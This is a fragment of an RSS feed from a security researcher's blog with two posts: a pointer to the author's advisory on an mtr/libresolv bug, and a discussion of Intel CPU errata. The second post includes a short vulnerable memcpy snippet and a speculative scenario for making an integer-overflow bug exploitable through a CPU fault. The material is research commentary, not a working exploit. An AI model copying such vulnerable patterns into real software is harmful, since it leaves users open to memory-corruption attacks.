		<category><![CDATA[Ideas]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=63</guid>
		<description><![CDATA[More than year ago I was publish advisory in &#8216;mtr&#8217; software. I think, personally, it is great bug because it can&#8217;t exist without unspecified situation in  libresolv library The question is why have I written information about it on blog? I forgot add this advisory in my site (sic!) Now it&#8217;s ok and you can [...]]]></description>
			<content:encoded><![CDATA[<p>More than year ago I was publish advisory in &#8216;mtr&#8217; software. I think, personally, it is great bug because it can&#8217;t exist without unspecified situation in  libresolv library <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  The question is why have I written information about it on blog?</p>
<p>I forgot add this advisory in my site (sic!) <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Now it&#8217;s ok and you can find this advisory <a href="http://site.pi3.com.pl/adv/advisory-libresolv-mtr.txt" target="_blank">here</a>.</p>
<p>I attached to this advisory details and Proof Of Concept. If you haven&#8217;t read it yet i strongly recommend you to do it because it shows that sometimes if  we read source code we think bug doesn&#8217;t exists but sometimes other external stuff/bugs/unspecified situation help us to trigger and exploit unexisting bug <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Here is link &#8211; once again:<br />
<a href="http://site.pi3.com.pl/adv/advisory-libresolv-mtr.txt" target="_blank"> http://site.pi3.com.pl/adv/advisory-libresolv-mtr.txt</a></p>
<p>Btw. In future I want to continue research about CPU bugs and probably it will cause news posts in this topic <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Best regards,</p>
<p>Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=63</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploitable CPU bugs&#8230;</title>
		<link>http://blog.pi3.com.pl/?p=55</link>
		<comments>http://blog.pi3.com.pl/?p=55#comments</comments>
		<pubDate>Sun, 06 Dec 2009 20:01:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Ideas]]></category>

		<guid isPermaLink="false">http://blog.pi3.com.pl/?p=55</guid>
		<description><![CDATA[Is it a dream? Impossible? Bugs in CPU? No&#8230; it&#8217;s reality! CPU is only a piece of hardware. Everything have bugs&#8230; CPU too. I will give here only a piece of information about bugs in INTEL products&#8230; From time to time Intel release erratas for his products! But not many people know about it and [...]]]></description>
			<content:encoded><![CDATA[<p>Is it a dream? Impossible? Bugs in CPU? No&#8230; it&#8217;s reality! CPU is only a piece of hardware. Everything have bugs&#8230; CPU too. I will give here only a piece of information about bugs in INTEL products&#8230;</p>
<p><span id="more-55"></span><br />
From time to time Intel release erratas for his products! But not many people know about it and almost nobody read it <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Last few years we had seen some kind of race in releasing new CPUs. Who release faster processor (AMD vs INTEL) and which processor will have more cores earlier. I think, personally, on one hand it is ok &#8211; we have faster processors and pay less money. In other hand I realize that the time which have company to test his products decrease. This situation always causes bugs in products.<br />
On bugtraq list we can find &#8216;Theo de Raadt&#8217;s post about bugs in Intel Core 2 architecture &#8211; first post which sensitize this problem from OS security site. Here is piece of his post:</p>
<p>&#8220;These processors are buggy as hell, and some of these bugs don&#8217;t just<br />
cause development/debugging problems, but will *ASSUREDLY* be<br />
exploitable from userland code.&#8221;</p>
<p>You can find full post  <a href="http://marc.info/?l-openbsd-isc&amp;m=118296441702631" target="_blank">here</a>.</p>
<p>It sounds really bad. Some of known bugs from 2006 are listed below:</p>
<p><img class="alignnone size-full wp-image-56" title="core_duo_errata__2006_01_21__full" src="http://blog.pi3.com.pl/wp-content/uploads/2009/12/core_duo_errata__2006_01_21__full.gif" alt="core_duo_errata__2006_01_21__full" width="633" height="3277" /></p>
<p>Yep. It looks amazing <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Some of them can causes real security problem <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Kris Kaspersky released his presentation about Intel CPU bugs. You can find it <a href="http://nchovy.kr/uploads/3/303/D2T1 - Kris Kaspersky - Remote Code Execution Through Intel CPU Bugs.pdf" target="_blank">here</a>.</p>
<p>For me the main point in this presentation is that he have got sample of virus which use one of CPU bugs to hide and exploit systems! Second important information is that he have received from this sample this piece of code which proof this bugs <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Unfortunately he is not going to release it until Intel patch it ;/<br />
Other interesting information is how it is possible (in theory) exploit some kind of Integer Overflow bugs in Unix systems &#8211; it is really interesting for me.<br />
Let&#8217;s look for this piece of code:</p>
<p>foo(char *p, int len)<br />
{<br />
char buf[XXL];<br />
…<br />
if (len &gt; XXL) return -1;<br />
memcpy(buf, p, len);<br />
return 0;<br />
}</p>
<p>Third arigument for function memcpy() is &#8216;size_t&#8217; type. In most systems size_t == unsigned int. If we pass negative value for &#8216;len&#8217; variable proccess will crash. Minimum value for trigger this bug is 8000000h. On Windows it is exploitable via overwriting SEH structure but on *NIX systems like Linux it isn&#8217;t exploitable to code exec &#8211; in normal situation.<br />
Bugs in CPU can cause this situation exploitable in system like Linux. What is scenario? When we trigger this software bug and processor start to overwriting memory when somehow we trigger on of CPU bug which will damage value in %ecx register than processor will stop overwriting memory (rep prefix?) and go to next instructions. Result of this scenario will be stop overwriting memory in situation when the process won&#8217;t be killed! It&#8217;s really interesting. I realize it is really hard to do but i think not impossible <img src='http://blog.pi3.com.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>What do you think? I&#8217;m waiting for comments&#8230;</p>
<p>Best regards,<br />
Adam Zabrocki</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pi3.com.pl/?feed=rss2&amp;p=55</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
